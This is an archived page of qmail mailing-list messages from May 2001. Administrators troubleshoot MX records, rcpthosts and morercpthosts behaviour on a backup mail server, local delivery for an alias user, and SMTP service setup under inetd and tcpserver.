get a bounce?

TIA




RE: Re: why www.mail-abuse.org says I block it?

2001-05-16 Thread daiyuwen

Hi, Karsten

 answer: microtek.com.cn 86355 MX 10 server3.microtek.com.cn
 answer: microtek.com.cn 86355 MX 5 relay.microtek.com.tw

Thank you very much.  I'm talking about server3.microtek.com.cn(202.96.230.197) which 
should be the first mail server in domain microtek.com.cn.  The guy who admins the dns 
record added a new MX record before server3.microtek.com.cn.  I'll fix this mistake 
first.  

Best regards,
Dai Yuwen



__

===
ÐÂÀËÃâ·Ñµç×ÓÓÊÏä (http://mail.sina.com.cn)
ÐÂÀËÍø¡ÖØÍƳöÊÖ»ú¶ÌÐŶ¥¼¶ÐÂÎÅ·þÎñ (http://sms.sina.com.cn/topnews)
Ñ°ÕÒÐÂÏÊ, Ó®¿ÆÁú±ùÏä! 
(http://ad.doubleclick.net/clk;2847753;5579344;y?http://gd.sina.com.cn/ad/kelon)



Re: rpcthost and morercpthost thresholds

2001-05-16 Thread Christopher Tolley


This server has NO virutal entries at all.  There isn't even an
/etc/qmail/control/virtualhosts file.  It's sole purpose is to act as a
backup mail server when the primary MX's for any of the 6800+ domains
aren't working.

Outside of the server's own hostname and localhost, there are no other
entries in the /etc/qmail/control/local entries at all.

The only qmail files that were ever modified on a regular basis before this
problem were morercpthosts and morercpthosts.cdb.

In my original email, I mentioned that I had restarted qmail (qmail-send)
with no effect.  The errors only stopped once I had migrated all the
domains from morercpthosts/morercpthosts.cdb to rcpthosts (which took
effect immediately with no need for restart).

Even on the servers I maintain that DO have virtualhost entries, I've never
had to HUP qmail-send to have the changes take effect unless vadddomain of
vpopmail automatically sends a HUP.

My original questions stand:  Are there limits to the number of entries in
morercpthosts/morercpthosts.cdb?  I really don't have a problem with
maintaining a completely flat-text rcpthosts, but a binary morercpthosts
would be more efficient.

According to the doco's I've read about rcpthosts and morercpthosts.cdb,
morercpthosts.cdb is effectively appended to rcpthosts, but is read faster
due to the hashing.  In the case of my 6800+ domains, I would like to stick
to the most efficient method, as this list is only getting bigger by the
day.

Do I need to HUP something after making changes to morercpthosts.cdb?  I've
never had to do that before.  Changes always seemed to be immediate in the
past.

Any other insight would be greatly appreciated.

-CT


Chris Johnson writes:

 On Wed, May 16, 2001 at 11:24:44PM +, Christopher Tolley wrote:
  
  I wish it were that simple.  Here is the log entry with error:
  
  May 16 13:18:10 spoolserver qmail: 990037090.207318 delivery 2882: failure:
  Sorry._Although_I'm_listed_as_a_best-pref
  
erence_MX_or_A_for_that_host,/it_isn't_in_my_control/locals_file,_so_I_don't_treat_it_as_local._(#5.4.6)/
  
  As this error was occuring (multiple times) I checked the morercpthosts.cdb
  and morercpthosts files.  Both files contained the entry for the domain in
  question.  Once I copied all the entries from morercpthosts to rcpthosts,
  the errors stopped and mail was spooled properly.
 
 This was a coincidence. rcpthosts and morercpthosts have nothing to do with
 this error. Those files are consulted *only* by qmail-smtpd, and only when it's
 deciding to accept or reject a RCPT TO address during the SMTP conversation.
 The above error message is generated by qmail-send, after qmail-smtpd has
 already queued the message and died.
 
 My guess is that you added an entry to locals or virtualdomains and didn't HUP
 or restart qmail-send. At some time in the course of screwing with your
 rcpthosts files you restarted qmail, so that your locals/virtualdomains changes
 took effect and things started working again.
 
 Chris




Qmail can't receive special user's mail

2001-05-16 Thread liu zhi



I installed Qmail-1.03 in Redhat6.2.
And I use /var/spool/mail/user mothed to receive 
mail.(I just copy /var/qmail/boot/proc as /var/qmail/rc)
And I use user liuzhi to receive 
mailer-daemon,root,postmaster mails.(So I add liuzhi to /var/qmail/aliases/ 
.qmail-root .qmail-mailer-daemon .qmail-postmaster)
And now I encounterd a stranger problem.
Every user except user 
liuzhi can receive mail.
Who can help me.


Re: cann't run test.deliver

2001-05-16 Thread eddy

thanks for your advice, but i don't know how to open my smtp service, and i
have changed my etc/inetd.conf to
smtp stream tcp nowait qmaild /var/qmail/bin/tcp-env tcp-env
/var/qmail/bin/qmail-smtpd
but it's show
Escape character is '^]'.
  Connection closed by foreign host.
then i changed etc/inetd.conf with
tcpserver -v -u 516 -g 506 0 smtp /var/qmail/bin/qmail-smtpd \
21 | /var/qmail/bin/splongger smtpdd 3 
and it show error like this ...
Trying 192.168.0.100...
telnet: Unable to connect to remote host: Connection refused

can you help me, plz

- Original Message -
From: liu zhi [EMAIL PROTECTED]
To: eddy [EMAIL PROTECTED]
Sent: Wednesday, May 16, 2001 10:29 PM
Subject: Re: cann't run test.deliver


 It seems that you didn't open smtp service
 You should open smtp service on your machine.
 and type telnet localhost 25 first.
 good luck

 - Original Message -
 From: eddy [EMAIL PROTECTED]
 To: Qmail Mailing List [EMAIL PROTECTED]
 Sent: Wednesday, May 16, 2001 9:39 PM
 Subject: cann't run test.deliver


  aloo, i've installed qmail on rh 6.2 , and i've run it under
  /var/qmail/rc.d and it shows status like this
 
  status: local 0/10 remote 0/20
 
  and i've tried test.deliver and it work but when i tried telnet a.b.c.d
25
   a.b.c.d = my ip number) it shows error msg
 
  Escape character is '^]'.
  Connection closed by foreign host.
 
  can somebody help me plz
 
  Regards,
 
 
  Eddy
 





Re: Qmail can't receive special user's mail

2001-05-16 Thread Alex Pennace

On Thu, May 17, 2001 at 12:57:48PM +0800, liu zhi wrote:
 I installed Qmail-1.03 in Redhat6.2.
 And I use /var/spool/mail/user mothed to receive mail.(I just copy 
/var/qmail/boot/proc as /var/qmail/rc)
 And I use user liuzhi to receive mailer-daemon,root,postmaster mails.(So I add 
liuzhi to /var/qmail/aliases/ .qmail-root .qmail-mailer-daemon .qmail-postmaster)
 And now I encounterd a stranger problem.
 Every user except user liuzhi can receive mail.

What do the logs say?



Re: rpcthost and morercpthost thresholds

2001-05-16 Thread Christopher Tolley


Out of curiosity, I moved all those domains back to my morercpthosts,
rehashed it (qmail-newmrh) and tried sending mail to the domains that
weren't working before.  Everything looked fine.  I'm totally confused now.
 As I have no locals entries outside of default, and absolutely no
virtuals, I don't see how any of that could have had any effect.

Here is output from my qmail-showctrl (minus the 6800+ entries)

badmailfrom: (Default.) Any MAIL FROM is allowed.

bouncefrom: (Default.) Bounce user name is MAILER-DAEMON.

bouncehost: (Default.) Bounce host name is imlspool001.datareturn.com.

concurrencylocal: Local concurrency is 50.

concurrencyremote: Remote concurrency is 509.

databytes: (Default.) SMTP DATA limit is 0 bytes.

defaultdomain: Default domain name is datareturn.com.

defaulthost: (Default.) Default host name is imlspool001.datareturn.com.

doublebouncehost: (Default.) 2B recipient host: imlspool001.datareturn.com.

doublebounceto: (Default.) 2B recipient user: postmaster.

envnoathost: (Default.) Presumed domain name is imlspool001.datareturn.com.

helohost: (Default.) SMTP client HELO host name is
imlspool001.datareturn.com.

idhost: (Default.) Message-ID host name is imlspool001.datareturn.com.

localiphost: (Default.) Local IP address becomes
imlspool001.datareturn.com.

locals: 
Messages for localhost are delivered locally.
Messages for imlspool001.datareturn.com are delivered locally.

me: My name is imlspool001.datareturn.com.

percenthack: (Default.) The percent hack is not allowed.

plusdomain: Plus domain name is datareturn.com.

qmqpservers: (Default.) No QMQP servers.

queuelifetime: (Default.) Message lifetime in the queue is 604800 seconds.

rcpthosts: 
SMTP clients may send messages to recipients at localhost.
SMTP clients may send messages to recipients at imlspool001.datareturn.com.

morercpthosts: 
(6800+ entries omitted)

morercpthosts.cdb: Modified recently enough; hopefully up to date.

smtpgreeting: (Default.) SMTP greeting: 220 imlspool001.datareturn.com.

smtproutes: (Default.) No artificial SMTP routes.

timeoutconnect: (Default.) SMTP client connection timeout is 60 seconds.

timeoutremote: (Default.) SMTP client data timeout is 1200 seconds.

timeoutsmtpd: (Default.) SMTP server data timeout is 1200 seconds.

virtualdomains: (Default.) No virtual domains.

Here is my /etc/qmail/control directory.  As you can see, the modified time
on my locals file is back in Nov of 2000.

-rw-r--r--   1 aliasnofiles 3 Apr  6  2000 concurrencylocal
-rw-r--r--   1 aliasnofiles 4 Jul 14  2000 concurrencyremote
-rw-r--r--   1 aliasnofiles15 Nov  6  2000 defaultdomain
-rw-r--r--   1 aliasnofiles37 Nov  6  2000 locals
-rw-r--r--   1 aliasnofiles27 Nov  6  2000 me
-rw-r--r--   1 aliasnofiles115504 May 16 23:40 morercpthosts
-rw-r--r--   1 aliasnofiles275516 May 16 23:40 morercpthosts.cdb
-rw-r--r--   1 aliasnofiles15 Nov  6  2000 plusdomain
-rw-r--r--   1 aliasnofiles37 May 16 23:34 rcpthosts


Christopher Tolley writes:

 
 This server has NO virutal entries at all.  There isn't even an
 /etc/qmail/control/virtualhosts file.  It's sole purpose is to act as a
 backup mail server when the primary MX's for any of the 6800+ domains
 aren't working.
 
 Outside of the server's own hostname and localhost, there are no other
 entries in the /etc/qmail/control/local entries at all.
 
 The only qmail files that were ever modified on a regular basis before this
 problem were morercpthosts and morercpthosts.cdb.
 
 In my original email, I mentioned that I had restarted qmail (qmail-send)
 with no effect.  The errors only stopped once I had migrated all the
 domains from morercpthosts/morercpthosts.cdb to rcpthosts (which took
 effect immediately with no need for restart).
 
 Even on the servers I maintain that DO have virtualhost entries, I've never
 had to HUP qmail-send to have the changes take effect unless vadddomain of
 vpopmail automatically sends a HUP.
 
 My original questions stand:  Are there limits to the number of entries in
 morercpthosts/morercpthosts.cdb?  I really don't have a problem with
 maintaining a completely flat-text rcpthosts, but a binary morercpthosts
 would be more efficient.
 
 According to the doco's I've read about rcpthosts and morercpthosts.cdb,
 morercpthosts.cdb is effectively appended to rcpthosts, but is read faster
 due to the hashing.  In the case of my 6800+ domains, I would like to stick
 to the most efficient method, as this list is only getting bigger by the
 day.
 
 Do I need to HUP something after making changes to morercpthosts.cdb?  I've
 never had to do that before.  Changes always seemed to be immediate in the
 past.
 
 Any other insight would be greatly appreciated.
 
 -CT
 
 
 Chris Johnson writes:
 
  On Wed, May 16, 2001 at 11:24:44PM +, Christopher Tolley wrote:
   
   I wish it were that simple.  Here is the log entry with error:
   
   May 

OT: where are you from

2001-05-16 Thread Martín Marqués

Off Topic, but not so much.

what does .to stand for, as in [EMAIL PROTECTED]?

Saludos... :-)

-- 
Cualquier administra un NT.
Ese es el problema, que cualquier adminstre.
-
Martin Marques  |[EMAIL PROTECTED]
Programador, Administrador  |   Centro de Telematica
   Universidad Nacional
del Litoral
-



  1   2   >